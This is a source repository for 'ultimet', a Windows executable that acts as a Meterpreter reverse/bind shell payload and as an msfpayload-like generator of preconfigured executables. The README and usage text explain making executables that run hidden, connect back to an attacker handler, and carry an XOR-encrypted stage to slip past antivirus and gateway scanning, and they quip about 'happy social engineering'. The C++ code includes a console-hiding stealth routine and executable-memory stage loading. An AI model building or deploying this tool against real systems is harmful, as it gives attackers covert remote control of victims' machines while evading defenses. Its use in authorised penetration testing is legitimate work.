├── .gitattributes
├── .gitignore
├── README.md
├── ResourceEncrypter
├── ResourceEncrypter.vcxproj
├── ResourceEncrypter.vcxproj.filters
├── encrypted.xor
├── key.txt
└── main.cpp
├── USAGE.txt
├── encrypted.rsc
├── inmet.sln
├── inmet
├── Constants.h
├── HTTP_Functions.cpp
├── ResourceFunctions.cpp
├── XOR_Functions.cpp
├── encrypted.rsc
├── functions.cpp
├── inmet.rc
├── inmet.vcxproj
├── inmet.vcxproj.filters
├── main.cpp
├── main.h
├── options.txt
├── resource.h
└── winsock_functions.cpp
├── metsrv.dll
└── ultimet.zip
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
4 | # Custom for Visual Studio
5 | *.cs diff=csharp
6 | *.sln merge=union
7 | *.csproj merge=union
8 | *.vbproj merge=union
9 | *.fsproj merge=union
10 | *.dbproj merge=union
11 |
12 | # Standard to msysgit
13 | *.doc diff=astextplain
14 | *.DOC diff=astextplain
15 | *.docx diff=astextplain
16 | *.DOCX diff=astextplain
17 | *.dot diff=astextplain
18 | *.DOT diff=astextplain
19 | *.pdf diff=astextplain
20 | *.PDF diff=astextplain
21 | *.rtf diff=astextplain
22 | *.RTF diff=astextplain
23 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | #################
2 | ## Eclipse
3 | #################
4 |
5 | *.pydevproject
6 | .project
7 | .metadata
8 | bin/
9 | tmp/
10 | *.tmp
11 | *.bak
12 | *.swp
13 | *~.nib
14 | local.properties
15 | .classpath
16 | .settings/
17 | .loadpath
18 |
19 | # External tool builders
20 | .externalToolBuilders/
21 |
22 | # Locally stored "Eclipse launch configurations"
23 | *.launch
24 |
25 | # CDT-specific
26 | .cproject
27 |
28 | # PDT-specific
29 | .buildpath
30 |
31 |
32 | #################
33 | ## Visual Studio
34 | #################
35 |
36 | ## Ignore Visual Studio temporary files, build results, and
37 | ## files generated by popular Visual Studio add-ons.
38 |
39 | # User-specific files
40 | *.suo
41 | *.user
42 | *.sln.docstates
43 |
44 | # Build results
45 | [Dd]ebug/
46 | [Rr]elease/
47 | *_i.c
48 | *_p.c
49 | *.ilk
50 | *.meta
51 | *.obj
52 | *.pch
53 | *.pdb
54 | *.pgc
55 | *.pgd
56 | *.rsp
57 | *.sbr
58 | *.tlb
59 | *.tli
60 | *.tlh
61 | *.tmp
62 | *.vspscc
63 | .builds
64 | *.dotCover
65 |
66 | ## TODO: If you have NuGet Package Restore enabled, uncomment this
67 | #packages/
68 |
69 | # Visual C++ cache files
70 | ipch/
71 | *.aps
72 | *.ncb
73 | *.opensdf
74 | *.sdf
75 |
76 | # Visual Studio profiler
77 | *.psess
78 | *.vsp
79 |
80 | # ReSharper is a .NET coding add-in
81 | _ReSharper*
82 |
83 | # Installshield output folder
84 | [Ee]xpress
85 |
86 | # DocProject is a documentation generator add-in
87 | DocProject/buildhelp/
88 | DocProject/Help/*.HxT
89 | DocProject/Help/*.HxC
90 | DocProject/Help/*.hhc
91 | DocProject/Help/*.hhk
92 | DocProject/Help/*.hhp
93 | DocProject/Help/Html2
94 | DocProject/Help/html
95 |
96 | # Click-Once directory
97 | publish
98 |
99 | # Others
100 | [Bb]in
101 | [Oo]bj
102 | sql
103 | TestResults
104 | *.Cache
105 | ClientBin
106 | stylecop.*
107 | ~$*
108 | *.dbmdl
109 | Generated_Code #added for RIA/Silverlight projects
110 |
111 | # Backup & report files from converting an old project file to a newer
112 | # Visual Studio version. Backup files are not needed, because we have git ;-)
113 | _UpgradeReport_Files/
114 | Backup*/
115 | UpgradeLog*.XML
116 |
117 |
118 |
119 | ############
120 | ## Windows
121 | ############
122 |
123 | # Windows image file caches
124 | Thumbs.db
125 |
126 | # Folder config file
127 | Desktop.ini
128 |
129 |
130 | #############
131 | ## Python
132 | #############
133 |
134 | *.py[co]
135 |
136 | # Packages
137 | *.egg
138 | *.egg-info
139 | dist
140 | build
141 | eggs
142 | parts
143 | bin
144 | var
145 | sdist
146 | develop-eggs
147 | .installed.cfg
148 |
149 | # Installer logs
150 | pip-log.txt
151 |
152 | # Unit test / coverage reports
153 | .coverage
154 | .tox
155 |
156 | #Translations
157 | *.mo
158 |
159 | #Mr Developer
160 | .mr.developer.cfg
161 |
162 | # Mac crap
163 | .DS_Store
164 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ================================================
2 | [ultimet] - The ultimate meterpreter executable.
3 | ================================================
4 | ...your one stop shop for all your
5 | meterpreter executable needs...
6 |
7 | Usage, examples and faq http://eldeeb.net/wrdprs/?p=176
8 |
9 | #0. Executive Summary :)#
10 | ultimet:
11 | - Is a windows executable that can function as various meterpreter flavours, in addition to functioning as "msfpayload" to generate exe files that run hidden when executed.
12 | - Supports functioning as the following meterpreter "types": "reverse_tcp", "bind_tcp", "reverse_http", "reverse_https", "metsvc_bind_tcp" and "metsvcreverse_tcp"
13 | - Can create exe files that connects upon execution using pre-configured settings "exactly as msfpayload generated exe", however, generated exe files still accept command line arguments and settings could be reset or changed, all supported from within that single exe ... "meterpreter-on-steroids :)".
14 | - The generated exe is a pre-configured ultimet that can be used to create OTHER exe files! so, let's say you created a reverse_tcp exe using the `--msfpayload` option, you can use THAT exe later to create another bind_metsvc, then use THAT exe to create a reverse_http ... and so on, or simply reset to default...pretty neat!
15 | _ultimet is a program that once found its way to inside a windows environmet, you won't need msfpayload or msfvenom anymore to create different exe files for different settings, use the same exe for different situations_
16 | - The msfpayload-like functionality works under linux perfectly fine using "wine >= 1.3.17", no need to leave your beloved *n?x box to create a pre-configured exe.
17 | - Supports many options to load the stage from: Resource, Encrypted-Resource, file, encrypted file or over the network "stager-mode" ... it functions as a non-staged payload "inline" when the stage is provided "either through file or the default bundled-resource".
18 | - Offset of ReflectiveLoader function is calculated at runtime and bootstrap is patched in memory, so, in plain english, you can use your own self-compiled metsrv.dll as the stage!.
19 |
20 |
21 | _Working as payload:_
22 |
23 | Example#1: Connect back to a meterpreter/reverse_tcp handler, LPORT=4444, LHOST=192.168.59.132
24 |
25 | `ultimet.exe -t reverse_tcp -h 192.168.59.132 -p 4444`
26 |
27 | Example#2: Start listening "bind" on all interfaces waiting for a meterpreter/bind_tcp handler to connect, LPORT=8888
28 |
29 | `ultimet.exe -t bind_tcp -h 0.0.0.0 -p 8888`
30 |
31 | Example#3: Load stage from local file, connect back to a meterpreter/reverse_http handler, LPORT=8080, LHOST=192.168.59.132
32 |
33 | `ultimet.exe -f c:\wwwroot\uploads\metsrv.dll -t reverse_http -h 192.168.59.132 -p 8080`
34 |
35 | _Working as msfpayload:_
36 |
37 | Example#1: msfpayload windows/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.59.132
38 |
39 | `ultimet.exe -t reverse_tcp -h 192.168.59.132 -p 4444 --msfpayload`
40 |
41 | Example#2: Reset exe to default and remove all pre-set connection settings
42 |
43 | `ultimet.exe --reset`
44 |
45 | Example#3: Remove bundled stage to create a smaller file
46 |
47 | `ultimet.exe --remove-stage`
48 |
49 |
50 | ---------------
51 | 1. Introduction
52 | ---------------
53 | - Stand-alone meterpreter executables that are created using (msfpayload/msfvenom) are not flexible in selecting the LHOST, LPORT or even the transport after being created ... i.e. once you create the exe, you cannot change any of the settings you specified during the creation of the executable.
54 |
55 | - Meterpreter by design is a "staged" payload, it consists of a "stager" and a "stage"; when msfpayload|msfvenom create an exe, that's the "stager" part of meterpreter, which has only one purpose: When executed, connect back to the exploit/multi/handler, make room for the stager, copy the "stage" from handler, then execute the "stage" ... that "stage" is nothing but a patched version of "metsrv.dll" that you find in metasploit directory ... this scenario presents a challenge in highly secure environments(!) where incoming files from the internet are checked for viruses `:)` ... example: someone created a meterpreter/reverse_http exe using msfvenom, then he manages to bypass AV somehow and successfully executed this exe on one machine inside the target environment, if there's some kind of virus checking of downloaded files at the gateway/proxy level ... the "stage" gets flagged, not downloaded, not executed, and you're doomed.
56 |
57 | -------------------
58 | 2. What is ultimet?
59 | -------------------
60 | - read the executive summary ...
61 |
62 | ------------------------------------------------
63 | 3. What are the supported transports (payloads)?
64 | ------------------------------------------------
65 | - It supports "reverse_tcp", "bind_tcp", "reverse_http", "reverse_https" and "bind_metsvc & reverse_metsvc <- when stage included".
66 |
67 | ---------------------------------------
68 | 4. How exactly is the stage "included"?
69 | ---------------------------------------
70 | - The "stage" can be loaded using any of the following options:
71 | - From a resource, or an encrypted resource that is included in the exe itself.
72 | - From a file (metsrv.dll), or an encrypted file.
73 | - ... if stage is not available, stage gets loaded over the network, which is basically falling back into "stager-mode".
74 |
75 | ------------------
76 | 5. inmet & ultimet
77 | ------------------
78 | The zip file contains two exe, inmet & ultimet:
79 | - inmet is (ultimet + stage as a resource) that is the (exe) that has the (stage as a resource).
80 | - ultimet is (inmet - stage as resource) that is JUST THE EXE.
81 | - so, if you used any PE resource editor to crack open inmet.exe, you'll find a resource called "BINARY" and ID "101", if you deleted that resource, it will still work, but as a stager only.
82 | - ... if you took that "stripped-down" exe again, opened it, and imported metsrv.dll (or the encrypted version of it) into that exe, called the resource "BINARY" and set the ID to "101" ... it will become an inline exe again.
83 | - inmet and ultimet are SAME EXECUTABLE that detects when it's just a mere stager, or the inline version of the executable.
84 | - Got it? ... if not just download both and try to figure out the difference on your own ...
85 |
86 | ---------------
87 | 6. Encryption?!
88 | ---------------
89 | - ultimet will load metsrv.dll if it is plain (the one in your computer) or encrypted using the following scheme:
90 | - XOR every byte % a random 16-bytes key (position = i % 16; metsrv[i] ^= key[position])
91 | - PREPEND the whole encrypted metsrv.dll with the 16 bytes random key :)
92 | - FIPS compliant, strong and unbreakable encryption, I know, thank you ... but it gets the job done pretty well "AV sig change".
93 | - A tool is included that does this automatically (ultimet_xor.exe) ... just drag metsrv.dll over it and you'll get a file called "encrypted.rsc" ... import that into ultimet.exe, they'll know how to play nice with each other.
94 |
95 | ---------------
96 | 7. Known issues
97 | ---------------
98 | - Currently the ReflectiveDLL bootstrap has the RVA_to_file offset of the ReflectiveLoader hardcoded, so, you cannot use your own metsrv.dll if that offset is different without changing the offset in "constants.h" ... working on it.
99 | - If your linker complained about not finding "encrypted.rsc" ... open "inmet.rc" using a text editor, and hard code the path there "or just put it on the root of your "e:\" drive ... to lazy to fix that and VS can be a **** sometimes.
100 |
101 | ----------------
102 | 8. Bug reporting
103 | ----------------
104 | - Github
105 | - ultimet@eldeeb.net
106 |
107 | ---------
108 | 9. Author
109 | ---------
110 | - Sherif Eldeeb
111 | - http://eldeeb.net
112 | - @SheriefEldeeb
113 | - archeldeeb@gmail.com
114 | Made in Egypt.
115 |
116 | ... P.S: I am not a developer ;)
117 |
118 | -------------------
119 | 10. Contributors:
120 | -------------------
121 | - Anwar Mohamed "@anwarelmakrahy"
122 | Added support for metsvc_bind_tcp & bind_tcp.
123 | Added support for run-time parsing for ReflectiveLoader function RVA & locate file offset.
124 |
125 | -------------------
126 | 11. Acknowledgments
127 | -------------------
128 | - All the extremely helpful people at #metasploit, and the mailing list:
129 | hdm, corelanc0d3r, mihi, egypt, kernelsmith, tillo.
130 | - Stephen Fewer for helping with ReflectiveDll stuff.
131 | - @lnxg33k, @anwarelmakrahy & Yehia Mamdouh: for testing and bug reporting.
132 |
133 |
134 |
135 |
136 |
--------------------------------------------------------------------------------
/ResourceEncrypter/ResourceEncrypter.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 |
14 | {39270343-D518-4A31-8AB8-C8DEBBF8E285}
15 | Win32Proj
16 | ResourceEncrypter
17 | ultimet_xor
18 |
19 |
20 |
21 | Application
22 | true
23 | v120_xp
24 | Unicode
25 |
26 |
27 | Application
28 | false
29 | v120_xp
30 | true
31 | Unicode
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 | true
45 |
46 |
47 | false
48 |
49 |
50 |
51 |
52 |
53 | Level3
54 | Disabled
55 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
56 | true
57 |
58 |
59 | Console
60 | true
61 |
62 |
63 | true
64 |
65 |
66 |
67 |
68 | Level3
69 |
70 |
71 | MaxSpeed
72 | true
73 | true
74 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
75 | MultiThreaded
76 |
77 |
78 | Console
79 | true
80 | true
81 | true
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
--------------------------------------------------------------------------------
/ResourceEncrypter/ResourceEncrypter.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/ResourceEncrypter/encrypted.xor:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/ResourceEncrypter/encrypted.xor
--------------------------------------------------------------------------------
/ResourceEncrypter/key.txt:
--------------------------------------------------------------------------------
1 | obGGQLtCerhMXmGy
--------------------------------------------------------------------------------
/ResourceEncrypter/main.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/ResourceEncrypter/main.cpp
--------------------------------------------------------------------------------
/USAGE.txt:
--------------------------------------------------------------------------------
1 | _Working as payload:_
2 | Example#1: Connect back to a meterpreter/reverse_tcp handler, LPORT=4444, LHOST=192.168.59.132
3 | `ultimet.exe -t reverse_tcp -h 192.168.59.132 -p 4444`
4 |
5 | Example#2: Start listening "bind" on all interfaces waiting for a meterpreter/bind_tcp handler to connect, LPORT=8888
6 | `ultimet.exe -t bind_tcp -h 0.0.0.0 -p 8888`
7 |
8 | Example#3: Load stage from local file, connect back to a meterpreter/reverse_http handler, LPORT=8080, LHOST=192.168.59.132
9 | `ultimet.exe -f c:\wwwroot\uploads\metsrv.dll -t reverse_http -h 192.168.59.132 -p 8080`
10 |
11 | _Working as msfpayload:_
12 | Example#1: msfpayload windows/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.59.132
13 | `ultimet.exe -t reverse_tcp -h 192.168.59.132 -p 4444 --msfpayload`
14 |
15 | Example#2: Reset exe to default and remove all pre-set connection settings
16 | `ultimet.exe --reset`
17 |
18 | Example#3: Remove bundled stage to create a smaller file
19 | `ultimet.exe --remove-stage`
20 |
21 | Example:
22 | c:\>ultimet.exe -t reverse_http -h 192.168.59.132 -p 8080 --msfpayload
23 | ****************************************************
24 | [+] [ultimet] - The Ultimate Meterpreter Executable
25 | [+] v0.25.1 - Revolution
26 | ****************************************************
27 | - http://eldeeb.net - @SheriefEldeeb
28 |
29 | [*] Switching to MSFPAYLOAD mode, parsing options ...
30 | TRANSPORT : REVERSE_HTTP
31 | LHOST : 192.168.59.132
32 | LPORT : 8080
33 | [*] Success! REVERSE_HTTP-192.168.59.132-8080.exe created, happy social engineering...
34 |
35 | ==============
36 | - this will create a new exe "reverse_http-192.168.59.132-8080.exe" that when executed, will run hidden, and requires no command line options.
37 |
38 | - You can remove the options and revert a pre-configured exe to a regular ultimet using the option `--reset`
39 |
40 | ==============
41 | Example:
42 | c:\>reverse_http-192.168.59.132-8080.exe --reset
43 |
44 | ****************************************************
45 | [+] [ultimet] - The Ultimate Meterpreter Executable
46 | [+] v0.25.1 - Revolution
47 | ****************************************************
48 | - http://eldeeb.net - @SheriefEldeeb
49 |
50 | [*] Creating a `clean` ultimet copy with all options reset to default ...
51 | [*] Success! use `ultimet_reset.exe` for a fresh start...
52 |
53 | ====================================================
54 | c:>ultimet --help
55 |
56 | ****************************************************
57 | [+] [ultimet] - The Ultimate Meterpreter Executable
58 | [+] v0.25.1 - Revolution
59 | ****************************************************
60 | - http://eldeeb.net - @SheriefEldeeb
61 |
62 | Usage:
63 | utlimet.exe -h -p -t [-f FILENAME] [--msfpayload]
64 | [--remove-stage] [--reset]
65 |
66 | Connection settings:
67 | -h LHOST IP or a hostname.
68 | -p LPORT Port number."
69 | -t TRANSPORT "reverse_tcp", "reverse_metsvc", "reverse_http",
70 | "reverse_https","bind_tcp" or "bind_metsvc"
71 |
72 | HTTP(S) Specific settings `optional`:
73 | -ua U_AGENT User-Agent, enclose in `""` if contains spaces.
74 | -et SECONDS Session expiration timeout in seconds.
75 | -ct SECONDS Communication expiration timeout in seconds.
76 |
77 | MSFPAYLOAD-like functionality:
78 | --msfpayload When this is specified along with the connection
79 | parameters, new exe will be created with the following
80 | naming convention:TRANSPORT-LHOST-LPORT.exe,
81 | this newly created exe will execute silently according
82 | to the predefined settings.
83 | ... it's gonna be just like the exe files you get out
84 | of msfpayload ... on steroids :)
85 | --reset A new exe will be created `ultimet_reset.exe` with
86 | pre-defined settings cleared `undo -> --msfpayload`.
87 |
88 | Stage options:
89 | -f FILE Forces loading the stage from a file.
90 | Note: The file can be a regular metsrv.dll,
91 | or an encrypted one using the ultimet_xor.exe utility.
92 | --remove-stage Creates a new exe `ultimet_no_stage.exe` with stage
93 | resource removed, it will resut in smaller file, but
94 | metsvc family of payloads won't be available.
95 | To re-attach the resource ... use a resource editor.
96 |
97 | General notes:
98 | - If you find the console window disappears immediatly when you run ultimet,
99 | this means it found valid connection settings built-in, to get rid of this
100 | behaviour, `ultimet.exe --reset` will create a pristine `ultimet_reset.exe`.
101 | - The exe file created with `--msfpayload` option is a fully functional
102 | ultimet.exe, it will run hidden and doesn't require connection parameters
103 | to be specified since they're preconfigured, to reset that exe to its norm,
104 | just specify `--reset` and a fresh exe will be created with default settings
105 | - If you're on a shell [not a console], you have to start the program using:
106 | "start /b ultimet.exe ..." or you'll lose your shell.
107 | - For the reverse_metsvc & bind_metsvc options, stage has to be available
108 | upfront, either through the bundled resource or loaded usng the "-f" option
109 | - The most reliable handler for reverse_metsvc is:
110 | "windows/metsvc_reverse_tcp" ... using reverse_metsvc to connect to a
111 | "reverse_tcp" *might* work, but not always, so, use reverse_metsvc with
112 | windows/metsvc_reverse_tcp ... same applies to bind_metsv.
113 |
114 | Advanced notes:
115 | - ultimet utilizes resources to include the stage, and to store connection
116 | settings internally.
117 | - The stage `metsvc.dll` is stored in a resource `BINARY` and ID `101`,
118 | stage can be the plain metsvc.dll file or encrypted using ultimet_xor.exe
119 | utility.
120 | - Options are stored in a resource `BINARY` and ID `103` using the following
121 | convention: `|UM|TRANSPORT|LHOST|LPORT|` <- leave "|UM|" as it is since
122 | it's used inernally, and change connection settings as you like.
123 | - You can use your favourite resource editor to create/edit those resources as
124 | you please.
125 |
126 | Contributors:
127 | - Anwar Mohamed "@anwarelmakrahy"
128 | . Added support for metsvc_bind_tcp & bind_tcp.
129 | . Added support for run-time parsing and patching of ReflectiveLoader
130 | Bootstrap.
131 |
--------------------------------------------------------------------------------
/encrypted.rsc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/encrypted.rsc
--------------------------------------------------------------------------------
/inmet.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 11.00
3 | # Visual C++ Express 2010
4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ultimet", "inmet\inmet.vcxproj", "{802281E0-D560-4A28-AB88-CF8B95ED9E3E}"
5 | EndProject
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ultimet_xor", "ResourceEncrypter\ResourceEncrypter.vcxproj", "{39270343-D518-4A31-8AB8-C8DEBBF8E285}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Win32 = Debug|Win32
11 | Release|Win32 = Release|Win32
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {802281E0-D560-4A28-AB88-CF8B95ED9E3E}.Debug|Win32.ActiveCfg = Debug|Win32
15 | {802281E0-D560-4A28-AB88-CF8B95ED9E3E}.Debug|Win32.Build.0 = Debug|Win32
16 | {802281E0-D560-4A28-AB88-CF8B95ED9E3E}.Release|Win32.ActiveCfg = Release|Win32
17 | {802281E0-D560-4A28-AB88-CF8B95ED9E3E}.Release|Win32.Build.0 = Release|Win32
18 | {39270343-D518-4A31-8AB8-C8DEBBF8E285}.Debug|Win32.ActiveCfg = Debug|Win32
19 | {39270343-D518-4A31-8AB8-C8DEBBF8E285}.Debug|Win32.Build.0 = Debug|Win32
20 | {39270343-D518-4A31-8AB8-C8DEBBF8E285}.Release|Win32.ActiveCfg = Release|Win32
21 | {39270343-D518-4A31-8AB8-C8DEBBF8E285}.Release|Win32.Build.0 = Release|Win32
22 | EndGlobalSection
23 | GlobalSection(SolutionProperties) = preSolution
24 | HideSolutionNode = FALSE
25 | EndGlobalSection
26 | EndGlobal
27 |
--------------------------------------------------------------------------------
/inmet/Constants.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | const char global_meterpreter_transport[] = "METERPRETER_TRANSPORT_SSL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
3 | const char global_meterpreter_url[] = "https://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/\x00";
4 | const char global_meterpreter_ua[] = "METERPRETER_UA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
5 | const int global_expiration_timeout = 0xb64be661; //big
6 | const int global_comm_timeout = 0xaf79257f; // 300
7 |
8 |
9 | ///"msf3/lib/msf/core/handler/reverse_http.rb"
10 | const int URI_CHECKSUM_INITW = 92;
11 | const int URI_CHECKSUM_INITJ = 88;
12 | const int URI_CHECKSUM_CONN = 98;
13 |
--------------------------------------------------------------------------------
/inmet/HTTP_Functions.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/inmet/HTTP_Functions.cpp
--------------------------------------------------------------------------------
/inmet/ResourceFunctions.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/inmet/ResourceFunctions.cpp
--------------------------------------------------------------------------------
/inmet/XOR_Functions.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/inmet/XOR_Functions.cpp
--------------------------------------------------------------------------------
/inmet/encrypted.rsc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/inmet/encrypted.rsc
--------------------------------------------------------------------------------
/inmet/functions.cpp:
--------------------------------------------------------------------------------
1 | #include "main.h"
2 | DWORD err = 0;
3 |
4 | void Stealth()
5 | {
6 | HWND stealth;
7 | AllocConsole();
8 | stealth = FindWindow(L"ConsoleWindowClass", NULL);
9 | ShowWindow(stealth,0);
10 | }
11 |
12 | BOOL IsThisAValidTransport(wchar_t *transport)
13 | {
14 | _wcsupr(transport);
15 | if(
16 | (wcscmp(transport,L"REVERSE_TCP") == 0) ||
17 | (wcscmp(transport,L"BIND_TCP") == 0) ||
18 | (wcscmp(transport,L"REVERSE_HTTP") == 0) ||
19 | (wcscmp(transport,L"REVERSE_HTTPS") == 0) ||
20 | (wcscmp(transport,L"REVERSE_METSVC") == 0) ||
21 | (wcscmp(transport,L"BIND_METSVC") == 0)
22 | ) return true;
23 | return false;
24 | }
25 |
26 |
27 | LONGLONG SizeFromName(LPCWSTR szFileName) // Returns a file's size from its filename, returns a LONGLONG, in case you have a LARGE LARGE file :)
28 | {
29 | LARGE_INTEGER fileSize = {0};
30 | HANDLE hfile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); //Get a handle on the file
31 |
32 | if (hfile==INVALID_HANDLE_VALUE) //if something went wrong ...
33 | {
34 | err = GetLastError();
35 | dprintf(L"[-] Invalid file handle! CreateFile() returned : %08x\n", err);
36 | CloseHandle(hfile);
37 | exit(1);
38 | }
39 |
40 | if(!GetFileSizeEx(hfile,&fileSize)) // Get the size from the file handle
41 | {
42 | err = GetLastError();
43 | dprintf(L"[-] Error getting file size! GetFileSizeEx() returned : %08x\n", err);
44 | CloseHandle(hfile);
45 | exit(1);
46 | }
47 |
48 | CloseHandle(hfile); // this will ALWAYS throw an exception if run under a debugger, but good higene if run under "production"
49 | return fileSize.QuadPart; //LARGE_INTEGER is a sruct, QuadPart is the filesize in a 64bit digit... which should cover all file sizes "That's for files >4GB"
50 | }
51 |
52 | DWORD CopyStageToBuffer(LPCWSTR szFileName, unsigned char** buffer)
53 | {
54 | // get file size...
55 | DWORD size = 0;
56 | size = (DWORD)SizeFromName(szFileName);
57 | if (size == -1)
58 | {
59 | dprintf(L"[-] Something went wrong getting size of file: \"%s\".\n", szFileName);
60 | exit(1);
61 | }
62 | else {
63 | dprintf(L"[*] Size of \"%s\" is \"%d\" bytes.\n", szFileName, size);
64 | }
65 |
66 | // Allocate memory ...
67 | dprintf(L"[*] Trying to VirtualAlloc \"%d\" bytes of data\n", size);
68 | *buffer = (unsigned char*)VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
69 | if (buffer == NULL)
70 | {
71 | err = GetLastError();
72 | dprintf(L"[-] Failed to allocate memory! VirtualAlloc() returned : %08x\n", err);
73 | return -1;
74 | }
75 | dprintf(L"[*] Success! \"%d\" bytes allocated.\n", size);
76 |
77 | // Reading file content into buffer.
78 | //... first we get a handle on the file
79 | HANDLE hfile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
80 | if (hfile==INVALID_HANDLE_VALUE) //if something went wrong ...
81 | {
82 | err = GetLastError();
83 | dprintf(L"[-] Invalid file handle! CreateFile() returned : %08x\n", err);
84 | CloseHandle(hfile);
85 | exit(1);
86 | }
87 |
88 | dprintf(L"[*] Copying file \"%s\" to buffer...\n", szFileName);
89 | if( FALSE == ReadFile(hfile, *buffer, (DWORD)size, NULL, NULL) )
90 | {
91 | printf("[-] Unable to read from file.\n");
92 | CloseHandle(hfile);
93 | exit(1);
94 | }
95 | // We add 5 bytes to leave room for 0xBF+SOCKET_NUMBER
96 | return (DWORD)size;
97 | }
98 |
99 | int PatchString(unsigned char* buffer, const wchar_t* replacement, const int index, const int NoOfBytes)
100 | {
101 | int counter = 0;
102 | for(int i = index; i < (index + NoOfBytes); i++)
103 | {
104 | buffer[i] = (u_char)replacement[counter];
105 | counter++;
106 | }
107 | return 0;
108 | }
109 |
110 | DWORD binstrstr(unsigned char * buff1, int lenbuff1, unsigned char * buff2, int lenbuff2) // shamelessly ripped from http://forums.devshed.com/c-programming-42/binary-strstr-395935.html , thanks "AlejandroVarela"
111 | {
112 | if (! buff1) return FALSE;
113 | if (! buff2) return FALSE;
114 | if (lenbuff1 == 0) return FALSE;
115 | if (lenbuff2 == 0) return FALSE;
116 | if (lenbuff1 < lenbuff2) return FALSE;
117 |
118 | for (int i = 0; i <= (lenbuff1 - lenbuff2); ++ i)
119 | {
120 | if (memcmp(buff1 + i, buff2, lenbuff2) == 0)
121 | {
122 | return i;
123 | }
124 | }
125 |
126 | return FALSE;
127 | }
128 |
129 | bool AnsiToUnicode(const char* ascii, wchar_t* unicode)
130 | {
